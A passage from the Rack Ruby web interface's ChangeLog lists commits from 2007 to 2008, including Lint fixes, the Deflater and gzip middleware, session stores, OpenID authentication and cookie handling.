list and helpers - Proposed and implemented by Michael Fellinger. - -Fri Sep 5 22:22:16 2008 +0300 Michael S. Klishin - * Make Rack::Lint::InputWrapper delegate size method to underlying IO object. - - See http://snurl.com/3nesq: Lint was breaking file uploads in a Merb app. - - Signed-off-by: Michael S. Klishin - -Sat Aug 30 16:47:50 2008 +0900 Michael Fellinger - * Add Request#ip and corresponding spec - -Thu Aug 28 15:57:14 2008 +0200 Christian Neukirchen - * Make Rack::Lobster set Content-Length - -Thu Aug 28 15:55:19 2008 +0200 Christian Neukirchen - * Make Rack::ShowExceptions set Content-Length - -Thu Aug 28 15:54:21 2008 +0200 Christian Neukirchen - * Make Rack::Response count Content-Length - -Thu Aug 28 15:47:47 2008 +0200 Christian Neukirchen - * Remove empty FastCGI headers nginx likes to pass - -Thu Aug 21 12:26:47 2008 +0200 Christian Neukirchen - * Update to version 0.4 - -Thu Aug 21 13:24:41 2008 +0200 Christian Neukirchen - * Cosmetics - -Thu Aug 21 12:26:36 2008 +0200 Christian Neukirchen - * Fix packaging script - -Thu Aug 21 12:13:57 2008 +0200 Christian Neukirchen - * Update README - -Tue Aug 19 13:15:18 2008 +0200 Christian Neukirchen - * REQUEST_METHOD only must be a valid token - -Sat Aug 9 18:53:04 2008 +0200 Christian Neukirchen - * Improve test documentation - -Sat Aug 9 18:52:33 2008 +0200 Christian Neukirchen - * Don't test OpenID in the default test suite - -Sat Aug 9 18:52:03 2008 +0200 Christian Neukirchen - * Wrangle paths so finally lighttpd should start everything on all platforms correctly - -Sat Aug 9 18:50:33 2008 +0200 Christian Neukirchen - * Don't test openid if not available - -Sat Aug 9 18:49:53 2008 +0200 Christian Neukirchen - * Don't test mongrel if not available - -Sat Aug 9 18:29:44 2008 +0200 Christian Neukirchen - * Silence OpenID warnings - -Sat Aug 9 18:29:15 2008 +0200 Christian Neukirchen - * Make memcache tests start and kill memcached itself - -Thu Aug 7 03:32:31 2008 -0700 Scytrin dai Kinthra - * BUG: Output of date in wrong time format for cookie expiration (fixed) - Altered test output to match correct name of gem needing to be installed for memcache - -Thu Aug 7 03:01:31 2008 -0700 Scytrin dai Kinthra - * Merge commit 'core/master' - -Fri Aug 1 12:24:43 2008 +0200 Christian Neukirchen - * Make Rack::Lint threadsafe - reported by Sunny Hirai - -Thu Jul 24 11:26:17 2008 +0200 Christian Neukirchen - * Merge git://github.com/dkubb/rack - -Thu Jul 24 01:40:18 2008 -0700 Dan Kubb - * Ensure the comparison is case insensitive - -Thu Jul 24 01:12:25 2008 -0700 Dan Kubb - * Updated Rake::Lint to ensure Content-Length header is present for non-chunked responses - -Sat Jul 12 12:47:35 2008 +0200 Julik - * Make Lint show proper errors for headers - -Wed Jul 9 15:18:35 2008 +0200 Clive Crous - * Fix digest paramater scanning. - Current scan sometimes took down sites. - Worst case scenario is when a user just clicked "ok" without entering a username. This could take down the entire website. - This is related to the ruby (language) bug: - http://rubyforge.org/tracker/index.php?func=detail&aid=21131&group_id=426&atid=1698 - -Tue Jul 1 22:59:09 2008 +0200 Christoffer Sawicki - * spec_rack_handler.rb - Fixed typos - -Mon Jun 23 17:18:28 2008 +0200 Christoffer Sawicki - * spec_rack_utils.rb - Reformulated two test case descriptions - -Sat Jul 5 02:23:45 2008 +0200 Christoffer Sawicki - * deflater.rb - Make gzip's mtime parameter mandatory - -Sat Jul 5 02:16:09 2008 +0200 Christoffer Sawicki - * deflater.rb - Update TODOs - -Sat Jul 5 02:13:17 2008 +0200 Christoffer Sawicki - * deflater.rb - Move out the Zlib::Deflate constructor arguments to a constant - -Fri Jul 4 23:57:05 2008 +0200 Christoffer Sawicki - * deflater.rb - Removed unnecessary require "time" and whitespace - -Fri Jul 4 12:53:43 2008 -0600 Ben Alpert - * added mtime for Deflater.gzip and fixed gzip spec - -Fri Jul 4 13:36:18 2008 +0200 Christoffer Sawicki - * deflater.rb - Added an error message for the 406 Not Acceptable case - -Fri Jul 4 02:35:15 2008 -0600 Ben - * added gzip support to Rack::Deflater - -Wed Jul 2 00:11:06 2008 +0200 Christoffer Sawicki - * Implemented Rack::Deflater - -Tue Jul 1 22:37:58 2008 +0200 Christoffer Sawicki - * Added support for Accept-Encoding (via Request#accept_encoding and Utils.select_best_encoding) - -Tue Jul 1 15:09:16 2008 -0700 Scytrin dai Kinthra - * Merge branch 'openid2' - -Tue Jul 1 15:02:00 2008 -0700 Scytrin dai Kinthra - * Refactoring of sanity checks on adding extensions for more descriptive exceptions. - Additional tests on extension handling. - -Tue Jul 1 14:58:27 2008 -0700 Scytrin dai Kinthra - * Default :return_to is Request#url. - Reordering of finish vs check to prevent recursive oid checks. - Additional $DEBUG output - -Tue Jul 1 14:55:37 2008 -0700 Scytrin dai Kinthra - * Documentation revisions. 80 cols! - -Sun Jun 29 13:37:27 2008 -0700 Scytrin dai Kinthra - * Additional documentation examples. - -Sun Jun 29 13:06:34 2008 -0700 Scytrin dai Kinthra - * Merge branch 'openid2' - -Sun Jun 29 13:05:05 2008 -0700 Scytrin dai Kinthra - * Revisions to setup checks in order to match test specs. - Revisions to corresponding documentation. - Addition of #extension_namespaces for conveniance. - -Sat Jun 28 17:54:45 2008 -0700 Scytrin dai Kinthra - * Additional checks and tests for extension handling. - -Sat Jun 28 17:19:07 2008 -0700 Scytrin dai Kinthra - * Expansion and better handling of extensions. - Additional documentation and revisions in reference to extensions. - General documentation revisions. - -Sat Jun 28 14:07:57 2008 -0700 Scytrin dai Kinthra - * Initial support for OpenID extensions. - Extensions require implementation from ::OpenID::Extension - -Sat Jun 28 14:37:09 2008 -0700 Scytrin dai Kinthra - * Reformatting of debug warning - -Fri Jun 27 09:44:38 2008 -0700 Dan Kubb - * Make Rack::File use RFC 2616 HTTP Date/Time format for Last-Modified - -Tue Jun 24 13:55:25 2008 +0200 Christian Neukirchen - * Merge commit 'scytrin/master' - -Tue Jun 24 11:57:04 2008 +0200 Christian Neukirchen - * Only call binmode when possible in the multipart parser - -Tue Jun 24 01:58:27 2008 -0700 Scytrin dai Kinthra - * Merge commit 'chneukirchen/master' - -Tue Jun 24 01:52:16 2008 -0700 Scytrin dai Kinthra - * Merge branch 'openid2' - -Tue Jun 24 01:43:03 2008 -0700 Scytrin dai Kinthra - * Documentation revisions - -Mon Jun 23 04:26:38 2008 -0700 Scytrin dai Kinthra - * OpenID2 moved to replace OpenID - -Fri Jun 20 23:16:21 2008 +0200 Christoffer Sawicki - * file.rb - Added MP3 to MIME_TYPES - -Mon Jun 23 04:25:10 2008 -0700 Scytrin dai Kinthra - * Merge branch 'openid2' - -Mon Jun 23 01:55:35 2008 -0700 Scytrin dai Kinthra - * Removed extraneous test file - Updated rubygems specification - -Mon Jun 23 01:04:10 2008 -0700 Scytrin dai Kinthra - * Addition of initial tests for OpenID2 - Additional checks on provided URIs. - -Sun Jun 22 08:27:48 2008 -0700 Scytrin dai Kinthra - * typo correction - -Sun Jun 22 01:09:49 2008 -0700 Scytrin dai Kinthra - * More rephrasing. - -Sat Jun 21 18:31:09 2008 -0700 Scytrin dai Kinthra - * Initial import of OpenID tests - -Sat Jun 21 18:29:45 2008 -0700 Scytrin dai Kinthra - * Revisions to check logic and presentation - -Sat Jun 21 18:10:27 2008 -0700 Scytrin dai Kinthra - * Documentation updates and revisions. - Addition of additional checks. - -Fri Jun 20 13:23:07 2008 -0700 Scytrin dai Kinthra - * Documentation update. - Removal of message appending in a cancel response. - -Fri Jun 20 12:56:05 2008 -0700 Scytrin dai Kinthra - * Documentation updates and improvements. - Adjusted naming for a few options. - The method #finish will always return a 303 redirect unless an error occurs. - -Wed Jun 18 03:57:23 2008 -0700 Scytrin dai Kinthra - * Inlining the management of exceptional responses. - Removal of extension support until assurance of a decent and clean way of support. - Revisions to documentation. - Rewriting of various expressions for clarity and consistancy. - Replaced hard coded symbols with constant reference. - Included list of optional arguments for notes on later documentation. - -Thu Jun 12 16:53:07 2008 -0700 Scytrin dai Kinthra - * Removed bare_login functionality, added an optional 500 returning intercept - -Mon Jun 2 23:37:45 2008 -0700 Scytrin dai Kinthra - * Removal of trailing whitespace - -Mon Jun 2 21:14:40 2008 -0700 Scytrin dai Kinthra - * Use $DEBUG for introspective output - -Sun May 25 19:26:55 2008 -0700 Scytrin dai Kinthra - * Make OpenID2 accessible by default - -Sun May 25 19:18:44 2008 -0700 Scytrin dai Kinthra - * Inclusion of ruby-openid 2.x compatible OpenID implementation - -Mon Jun 23 03:32:04 2008 -0700 Scytrin dai Kinthra - * Removal of extraneous debugging output - -Sun Jun 15 13:51:31 2008 +0200 Christian Neukirchen - * Check for block in Builder before instance_eval - -Thu Jun 12 17:17:24 2008 +0200 Christian Neukirchen - * Merge commit 'scytrin/master' - -Fri Jun 6 20:54:30 2008 -0700 Scytrin dai Kinthra - * Added documentation, checks, and tests for Rack::Utils::Context - -Fri Jun 6 17:25:35 2008 -0700 Adam Wiggins - * commonlogger passes through close call (fixes zombie process bug when serving popen responses) - -Tue Jun 3 21:55:55 2008 -0700 Scytrin dai Kinthra - * Reworking session/abstract/id and derived session implementations - Formatting for readability - Adjusted session-id finding for compatibility - Added checks, rescues, and debugging output - Adjusted and added tests - -Tue Jun 3 20:09:19 2008 -0700 Scytrin dai Kinthra - * Removal of lingering debug output in directory.rb - -Mon Jun 2 00:50:45 2008 -0700 Scytrin dai Kinthra - * Requiring socket stdlib for UNIXSocket and TCPSocket - -Sun Jun 1 06:34:14 2008 -0700 Scytrin dai Kinthra - * Tests for Rack::Directory, as well as removal of Rack::File dependency - -Sun Jun 1 06:07:44 2008 -0700 Scytrin dai Kinthra - * Addition of Directory to autoload index - -Sat May 31 14:32:34 2008 +0200 Christian Neukirchen - * Merge commit 'josh-mirror/master' - -Sat May 31 14:26:43 2008 +0200 Christian Neukirchen - * More cleanup - -Sat May 31 14:21:56 2008 +0200 Christian Neukirchen - * Mention Git repositories in README - -Sat May 31 14:09:31 2008 +0200 Christian Neukirchen - * Cleanup - -Mon May 26 09:12:22 2008 -0500 Joshua Peek - * Skip Camping and Memcache tests if the gems are not installed. - -Sun May 25 14:32:00 2008 +0000 Christian Neukirchen - * Add Rack.release for the version of the release. - -Sat May 24 17:54:49 2008 +0200 Christian Neukirchen - * Merge commit 'josh/master' - -Sat May 24 15:54:00 2008 +0000 Christian Neukirchen - * Allow handlers to register themselves with Rack::Handler. - -Sat May 24 09:57:09 2008 -0500 Joshua Peek - * Allow handlers to register themselves with Rack::Handler. - -Sat May 24 14:23:10 2008 +0200 Christian Neukirchen - * Merge commit '37c59dce25df4' - -Sat May 24 12:22:00 2008 +0000 Christian Neukirchen - * Merge walf443/rack-mirror - -Sat May 24 02:16:39 2008 +0900 Keiji, Yoshimi - * It may be better to show HTTP_X_FORWARDED_FOR if it exists. - It's useful when using reverse proxy in front of app server using Rack. - -Sun May 18 17:06:58 2008 +0200 Christian Neukirchen - * Merge commit 'josh/master' - -Sun May 18 15:05:00 2008 +0000 Christian Neukirchen - * Merge 'josh/rack-mirror' - -Sat May 17 15:39:16 2008 -0500 Joshua Peek - * Include EventedMongrel handler with Rack. - -Sat May 10 17:16:29 2008 +0200 Christian Neukirchen - * Merge commit 'josh/daemonize' - -Sat May 10 15:10:00 2008 +0000 Christian Neukirchen - * Merge josh/daemonize - -Tue May 6 18:14:47 2008 -0500 Joshua Peek - * Only write a rack pid if a file is given. - -Tue May 6 15:44:15 2008 -0500 Joshua Peek - * Added support for daemonizing servers started with rackup. - -Fri May 2 21:05:00 2008 +0000 Christoffer Sawicki - * utils.rb, spec_rack_utils.rb - Added build_query, the inverse of parse_query - -Fri May 2 20:53:00 2008 +0000 Christoffer Sawicki - * utils.rb - Cleaned up parse_query - -Fri May 2 21:04:00 2008 +0000 Christoffer Sawicki - * spec_rack_utils.rb - Added another test for parse_query - -Sat Apr 26 21:37:00 2008 +0000 Scytrin dai Kinthra - * session/abstract/id.rb - removal of gratuitous debug output - -Fri Apr 25 23:55:00 2008 +0000 Scytrin dai Kinthra - * directory.rb - serves html index for nonfile paths - - Rack::File similar processing of paths. On directory lookups it will serve - a html index of it's contents. Entries begining with '.' are not presented. - On lookups that result in a file, it will pass an unmodified env to the - provided app. If an app is not provided, a Rack::File with the same root is - used. - -Fri Apr 18 10:12:00 2008 +0000 Christian Neukirchen - * Open multipart tempfiles in binary mode - -Thu Apr 10 20:26:00 2008 +0000 ryan - * handle EOFError exception in Request#params - -Sat Mar 29 19:58:00 2008 +0000 Scytrin dai Kinthra - * utils.rb - addition of recontexting from a Context - -Sun May 25 14:33:00 2008 +0000 Christian Neukirchen - * Convert Rakefile to use Git - -Thu Mar 27 11:09:00 2008 +0000 Adam Harper - * Bug fix for Tempfile POST bodies under Ruby 1.8 - - The Tempfile class in Ruby 1.8 doesn't implement the == method correctly. - This causes Rack::Requests to re-parse the input (when the input is a - Tempfile) each time the POST method is called, this in turn raises an - EOFError because the input has already been read. - - One example of when this happens is when handling large POST requests - (e.g. file uploads) under Mongrel. - - This issue only effects Ruby 1.8 (tested against 1.8.6). Ruby 1.9 does - not suffer from this issue (presumably due to changes in the Delegate - implementation.) - -Sat Mar 29 04:32:00 2008 +0000 Scytrin dai Kinthra - * memcache.rb - Fixed immortal key bug, updated tests - - Old multithread behaviour was to merge sessions, which would never delete - keys, even if deleted in the current session. - -Tue Mar 25 11:15:00 2008 +0000 Scytrin dai Kinthra - * abstract/id.rb - Added check on correctness of response. - -Thu Mar 20 16:11:00 2008 +0000 Christian Neukirchen - * Run Rack::Session::Memcache tests in fulltest only - -Wed Mar 19 11:43:00 2008 +0000 Scytrin dai Kinthra - * memcache.rb - memcached based session management - -Thu Mar 20 16:06:00 2008 +0000 Christian Neukirchen - * Rack::Reloader is not loaded in rackup development mode anymore - -Tue Mar 18 04:04:00 2008 +0000 Scytrin dai Kinthra - * openid.rb - documentation and check on using ruby-openid 1.x.x - -Tue Mar 18 10:59:00 2008 +0000 Christian Neukirchen - * Update History - -Tue Mar 18 10:57:00 2008 +0000 Christian Neukirchen - * Update Rakefile - -Tue Mar 18 10:55:00 2008 +0000 Christian Neukirchen - * Make fulltest chmod the executables - -Tue Mar 18 10:54:00 2008 +0000 Christian Neukirchen - * Small README tweak - -Mon Mar 17 23:28:00 2008 +0000 stephen.bannasch - * Changes to get lighttpd setup and running when rake fulltest is run; also added some doc to the readme about running tests - -Mon Mar 17 16:03:00 2008 +0000 Scytrin dai Kinthra - * urlmap.rb - update test in allowance of non-destructive HeaderHash - -Mon Mar 17 15:59:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - cleanup of session merging and threading collision checks - -Mon Mar 17 15:51:00 2008 +0000 Christian Neukirchen - * URLMap tweaks and more tests - -Mon Mar 17 15:51:00 2008 +0000 Christian Neukirchen - * Don't lose empty headers in HeaderHash - -Mon Mar 17 15:26:00 2008 +0000 Scytrin dai Kinthra - * urlmap.rb - alteration of path selection routines, with updated tests - - Previous implementation would append an extra '/' if PATH_NAME would otherwise - be empty. - -Mon Mar 17 11:19:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - explicit require for thread stdlib - -Mon Mar 17 09:12:00 2008 +0000 Scytrin dai Kinthra - * pool.rb, id.rb - creation of abstract id based session handler - - Allows simpler implementation of various storage based sessioning. - More stringent type checks in id.rb - -Sun Mar 16 14:31:00 2008 +0000 Scytrin dai Kinthra - * updated and addition to tests for pool.rb for expiration and thread safety - - Running the freshness tests sleeps for 4 seconds to allow a session's - expiration point to pass. - -Sun Mar 16 14:30:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - addition of session freshness check and upkeep routines - -Sun Mar 16 13:23:00 2008 +0000 Scytrin dai Kinthra - * utils.rb - Utils::Context - addition of introspection methods - -Sun Mar 16 11:55:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - documentation update and collision warnings - -Sun Mar 16 09:01:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - documentation revision, addition of @mutex accessor - -Sun Mar 16 08:33:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - setup of expiry not using defined?, from apeiros - -Sun Mar 16 08:26:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - saner metadata storage - -Sun Mar 16 08:23:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - cleanup and THANKS - -Sun Mar 16 08:21:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - addition of thread safety - -Sun Mar 16 04:59:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - moved cookie building back to #commit_session - -Fri Mar 14 23:57:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - faster session id generation from apeiros - -Mon Mar 17 10:56:00 2008 +0000 Christian Neukirchen - * Require time in rack/file.rb - - Reported by Stephen Bannasch. - -Sat Mar 15 13:51:00 2008 +0000 r - * Fix that Request assumes form-data even when Content-Type says otherwise - - Fixes cases where accessing Request#params causes the body to be read and - processed as form-data improperly. For example, consider the following - request: - - PUT /foo/bar?baz=bizzle HTTP/1.1 - Content-Type: text/plain - - This is not form-data. - - When Rack::Request gets ahold of the corresponding environment, and the - application attempts to access the "baz" query string param, the body is read - and interpreted as form-data. If the body is an IOish object, this causes the - offset to be forwarded to the end of file. - - The patch prevents the Request#POST method from going into the body unless the - media type is application/x-www-form-urlencoded, multipart/form-data, or not - specified. - - While here, added a few unrelated helper methods to Request that I've found - particularly useful in Rack apps: #content_length, #head?, and #content_charset. - - Tests and doc included for all changes. - -Tue Mar 11 12:02:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - cleanup and portability revisions - -Tue Mar 11 11:59:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - exported assignment of session id cookie - -Tue Mar 11 11:56:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - exported session to pool commit - -Tue Mar 11 11:52:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - altered session metadata storage and session commit point - -Tue Mar 11 11:29:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - exported generation of a new session id - -Tue Mar 11 11:25:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - moved inline hash to DEFAULT_OPTIONS - -Tue Mar 11 11:11:00 2008 +0000 Scytrin dai Kinthra - * pool.rb - removal of blocks for #context - - Before you could pass a block to Pool#context that would be passed the env - before performing a call on the passed app. This has been removed in deference - to the practice setting up the block as the passed app, which should - subsequently call the intended app. - Seems more in accordance with Rack's prescribed behaviour. - -Tue Mar 11 07:51:00 2008 +0000 Scytrin dai Kinthra - * Alteration of Mongrel.run for Mongrel based routing - - With the passing of the :map option Mongrel.run will handle the passing of a - Hash or URLMap rather than a standard rack app. The mapping provided by the - passed object will be used to register uris with the mongrel instance. - - Hashes should only have absolute paths for keys and apps for values. - - URLMaps will be filtered if the :Host options is specified, or the mapping's - host is set. - -Tue Mar 11 06:31:00 2008 +0000 Scytrin dai Kinthra - * Addition of #add, #<<, and #include? to Cascade, allowing iterative addition of apps - -Mon Mar 10 15:18:00 2008 +0000 Scytrin dai Kinthra - * Changed urlmap.rb's uri check to successive conditionals rather than one big one - -Tue Feb 26 12:28:00 2008 +0000 Christian Neukirchen - * Update README and docs - -Sun Feb 24 19:37:00 2008 +0000 Christian Neukirchen - * Don't use autoloads in the test suite - -Sun Feb 24 18:48:00 2008 +0000 Christian Neukirchen - * Fix test cases that used 201 as a status where Content-Type is not allowed - -Sun Feb 24 18:46:00 2008 +0000 Christian Neukirchen - * Fix cookie parsing - -Sun Feb 24 17:51:00 2008 +0000 Christian Neukirchen - * Let Rack::Builder#use accept blocks - - Contributed by Corey Jewett. - -Mon Feb 18 21:18:00 2008 +0000 Christian Neukirchen - * Don't create invalid header lines when only deleting a cookie - - Reported by Andreas Zehnder - -Sun Feb 3 17:14:00 2008 +0000 Christian Neukirchen - * Update lint to not check for 201 status headers - -Sun Feb 3 17:00:00 2008 +0000 Christian Neukirchen - * HTTP status 201 can contain a body - -Fri Jan 25 08:36:00 2008 +0000 Christian Neukirchen - * Add SCGI handler, by Jeremy Evans - -Tue Jan 22 04:23:00 2008 +0000 m.fellinger - * Fix syntax for toggle() in ShowExceptions - -Mon Jan 21 02:27:00 2008 +0000 Aman Gupta - * Conform to RFC 2109 regarding multiple values for same cookie - -Thu Jan 10 15:29:00 2008 +0000 Christian Neukirchen - * Remove Rack::Adapter::Rails autoload - -Mon Dec 31 18:34:00 2007 +0000 Christian Neukirchen - * Remove uses of base64 for Ruby 1.9 support - -Sun Dec 9 16:48:00 2007 +0000 Christian Neukirchen - * Make Rack::Lint actually check what the spec says. - -Sun Nov 18 20:09:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/auth/openid.rb - typo! - -Sun Nov 18 20:03:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/auth/openid.rb - updates to reflect rack styling - -Sun Nov 18 19:54:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/auth/openid.rb - removal of block functionality - - The block argumentn functionality was causing a few complications and - was removed in favour of storing the openid status object in the - environment. A wrapping proc oor rack app can now achieve the same - functionality as the block could, in a cleaner manner. - -Sun Nov 18 19:51:00 2007 +0000 Christian Neukirchen - * Small fix for the new FastCGI options - -Sun Nov 18 19:16:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/urlmap.rb - Restyle of host matching from 'and' and 'or' to && and || - -Tue Aug 28 23:02:00 2007 +0000 Scytrin dai Kinthra - * Reformat and representation of mapping selection routine. - -Sun Nov 18 19:20:00 2007 +0000 Christian Neukirchen - * Minor tweaks in blink's code - -Sun Nov 18 18:45:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/auth/openid.rb - removal of rubygems require - -Sun Nov 18 07:46:00 2007 +0000 Scytrin dai Kinthra - * lib/rack.rb - Addition of Auth::OpenID - -Sun Nov 18 07:45:00 2007 +0000 Scytrin dai Kinthra - * lib/rack.rb - Addition of new Session::Pool and Memcache - -Sun Nov 18 05:08:00 2007 +0000 Scytrin dai Kinthra - * session/pool.rb - Updated to use Rack::Utils::Context - -Sun Nov 18 04:57:00 2007 +0000 Scytrin dai Kinthra - * Inclusion of the openid result for the post-run block - -Sun Nov 18 04:54:00 2007 +0000 Scytrin dai Kinthra - * Addition of post-run block for extensibility - -Sun Nov 18 04:53:00 2007 +0000 Scytrin dai Kinthra - * Addition of request to provide a default return url - -Sun Nov 18 04:50:00 2007 +0000 Scytrin dai Kinthra - * Cleanup of code, errant error call - -Sun Nov 18 04:45:00 2007 +0000 Scytrin dai Kinthra - * Addition of Rack::Utils::Context - - Allows the use of a rack app in different contexts using a proc. - -Sun Nov 18 04:42:00 2007 +0000 Scytrin dai Kinthra - * Errors now method calls rather than constants. - -Thu Aug 30 13:30:00 2007 +0000 Scytrin dai Kinthra - * addition of js -> text/javascript to file types - -Thu Aug 30 13:28:00 2007 +0000 Scytrin dai Kinthra - * addition of Last-Modified http header to Rack::File - -Tue Aug 28 23:14:00 2007 +0000 Scytrin dai Kinthra - * Addition of credits, #for to allow app context change, and addition of a #key accessor - -Wed Aug 22 04:17:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/handler/fastcgi.rb - :Port and :File options for opening sockets - -Fri Aug 17 07:09:00 2007 +0000 Scytrin dai Kinthra - * lib/rack/auth/openid.rb: openid login authenticator - -Thu Nov 15 16:21:00 2007 +0000 Christian Neukirchen - * Fix SCRIPT_NAME in nested URLMaps - -Thu Nov 15 16:20:00 2007 +0000 Christian Neukirchen - * Update AUTHORS and thanks - -Thu Nov 15 16:11:00 2007 +0000 Christian Neukirchen - * Fix warning - -Thu Nov 15 16:10:00 2007 +0000 Christian Neukirchen - * Make Rack::Builder#to_app nondestructive - -Tue Oct 9 14:35:00 2007 +0000 Christian Neukirchen - * Fix Cookie dates accordingly to RFC 2109 - -Wed Sep 12 09:15:00 2007 +0000 Christian Neukirchen - * Mention PUT as allowed request method in the spec - -Sat Aug 11 17:28:00 2007 +0000 Scytrin dai Kinthra - * pool.rb - local session storage hash pool w/ tests - -Thu Jul 12 09:02:00 2007 +0000 Christian Neukirchen - * Add LiteSpeed handler - - Courtesy of Adrian Madrid - -Thu Jun 14 20:34:00 2007 +0000 Christoffer Sawicki - * Make Rack::File serve files with URL encoded filenames - -Thu May 31 16:36:00 2007 +0000 Christian Neukirchen - * Make Rack::Response possibly close the body - - Proposed by Jonathan Buch - -Thu May 17 12:06:00 2007 +0000 Christian Neukirchen - * Better running of lighttpd for testing - -Wed May 16 17:34:00 2007 +0000 Christian Neukirchen - * Credit Luc Heinrich - -Wed May 16 15:01:00 2007 +0000 Christian Neukirchen - * Different approach to Mongrel#run testing - -Wed May 16 14:53:00 2007 +0000 Christian Neukirchen - * Fix trailing whitespace. Sigh. - -Wed May 16 14:44:00 2007 +0000 Christian Neukirchen - * Update README - -Wed May 16 14:43:00 2007 +0000 Christian Neukirchen - * Yield the servers optionally - -Wed May 16 14:32:00 2007 +0000 Christian Neukirchen - * Small docfixes - -Tue May 15 23:44:00 2007 +0000 Michael Fellinger - * replace the 'system' calls in Rakefile with 'sh', making them more transparent and --trace able - -Tue May 15 23:42:00 2007 +0000 Michael Fellinger - * add some features to Request and the corresponding tests for them - -Tue May 15 15:43:00 2007 +0000 Christian Neukirchen - * Make Rack::Handler::*.run yield the server for further configuration - -Fri May 11 15:31:00 2007 +0000 Christian Neukirchen - * Remove the Rails adapter, it was never useful - -Fri May 11 15:12:00 2007 +0000 Christian Neukirchen - * Introduce Rack::Response::Helpers and make MockResponse use them, too. - -Fri May 11 14:56:00 2007 +0000 Christian Neukirchen - * Add some more edge-case tests to improve coverage - -Sun Apr 29 12:55:00 2007 +0000 Christoffer Sawicki - * Add missing autoload for Cascade in rack.rb - -Thu Apr 26 14:05:00 2007 +0000 Christian Neukirchen - * Make ShowStatus more robust - -Wed Apr 18 13:15:00 2007 +0000 Christian Neukirchen - * Add Rack::Response#empty? - -Tue Apr 3 20:59:00 2007 +0000 Tim Fletcher - * Minor tweaks - -Tue Apr 3 20:58:00 2007 +0000 Tim Fletcher - * Some initial documentation for the main authentication classes - -Tue Apr 3 20:56:00 2007 +0000 Tim Fletcher - * An example of how to use Rack::Auth::Basic. Protect your lobsters! - -Tue Apr 3 20:17:00 2007 +0000 Tim Fletcher - * Make Rack::Auth handlers compatible with Rack::ShowStatus - -Tue Apr 3 20:09:00 2007 +0000 Tim Fletcher - * Ensure Rack::ShowStatus passes on headers - -Fri Mar 30 13:12:00 2007 +0000 Christian Neukirchen - * Add Request#fullpath - -Thu Mar 29 14:24:00 2007 +0000 Christian Neukirchen - * Add Rack::ShowStatus, a filter to generate common error messages - -Thu Mar 29 14:20:00 2007 +0000 Christian Neukirchen - * Add a list of HTTP status messages - -Tue Mar 27 09:06:00 2007 +0000 Christian Neukirchen - * Small cleanup - -Mon Mar 26 21:27:00 2007 +0000 Tim Fletcher - * Adding Rack::Auth::Digest::MD5, and refactoring Auth::Basic accordingly - -Sat Mar 24 14:36:00 2007 +0000 Christian Neukirchen - * Doc fix, Request should have been Reponse - - Thanks, apeiros - -Mon Mar 12 16:45:00 2007 +0000 Christian Neukirchen - * Add a test for the broken cookie sessions - -Mon Mar 12 16:04:00 2007 +0000 luc - * Make sure we get a valid empty session hash in all cases. - -Sun Mar 11 14:06:00 2007 +0000 Christian Neukirchen - * Integrate Rack::Static - -Sun Mar 11 14:04:00 2007 +0000 Christian Neukirchen - * Ducktype on #to_str for Rack::Response.new - - proposed by Gary Wright - -Sun Mar 11 13:43:00 2007 +0000 luc - * Added Rack::Static middleware. - -Sun Mar 11 13:50:00 2007 +0000 Christian Neukirchen - * Make Rack::Response#write call #to_s - - proposed by Gary Wright - -Sat Mar 10 14:38:00 2007 +0000 Christian Neukirchen - * Fix Rack::Session::Cookie - -Fri Mar 9 23:40:00 2007 +0000 luc - * Cookie based session management middleware. - -Tue Mar 6 21:12:00 2007 +0000 Christian Neukirchen - * Load pp when debugging - -Tue Mar 6 12:19:00 2007 +0000 Christian Neukirchen - * Integrate patches - -Sun Mar 4 15:12:00 2007 +0000 Tim Fletcher - * Adding Rack::Auth::Basic - -Sun Mar 4 02:29:00 2007 +0000 Aredridel - * Fix Camping redirects into Strings when they're URIs - -Sat Mar 3 17:20:00 2007 +0000 Christian Neukirchen - * Fix things that should have been fixed before the release *sigh* - -Sat Mar 3 12:40:00 2007 +0000 Christian Neukirchen - * Fix CGI permissions - -Sat Mar 3 12:34:00 2007 +0000 Christian Neukirchen - * Last-minute details - -Sat Mar 3 11:15:00 2007 +0000 Christian Neukirchen - * Extend gemspec - -Sat Mar 3 10:37:00 2007 +0000 Christian Neukirchen - * Small README fixes - -Sat Mar 3 10:16:00 2007 +0000 Christian Neukirchen - * Add README and other documentation - -Sat Mar 3 09:58:00 2007 +0000 Christian Neukirchen - * Add and integrate Rakefile - -Sat Mar 3 09:56:00 2007 +0000 Christian Neukirchen - * Add some missing tests - -Fri Mar 2 23:53:00 2007 +0000 Christoffer Sawicki - * Tidy up RailsDispatcher::CGIStub - -Fri Mar 2 16:55:00 2007 +0000 Christian Neukirchen - * Handle SCRIPT_NAME better in *CGI environments - -Fri Mar 2 15:10:00 2007 +0000 Christian Neukirchen - * Remove lighttpd comment. - - The bug has been fixed in later versions. - -Thu Mar 1 18:53:00 2007 +0000 Christian Neukirchen - * Add RDocs - -Wed Feb 28 22:19:00 2007 +0000 Christoffer Sawicki - * Make Adapter::Rails use Cascade - -Wed Feb 28 20:06:00 2007 +0000 Christian Neukirchen - * Fix warnings - -Wed Feb 28 20:03:00 2007 +0000 Christian Neukirchen - * Add Rack::Cascade, to pass on the first non 404 result - -Wed Feb 28 19:12:00 2007 +0000 Christian Neukirchen - * Move TestRequest to test/ - -Wed Feb 28 19:09:00 2007 +0000 Christian Neukirchen - * Make spec_rack_lint.rb use mocks - -Wed Feb 28 18:56:00 2007 +0000 Christian Neukirchen - * Make spec_rack_camping.rb use mocks - -Wed Feb 28 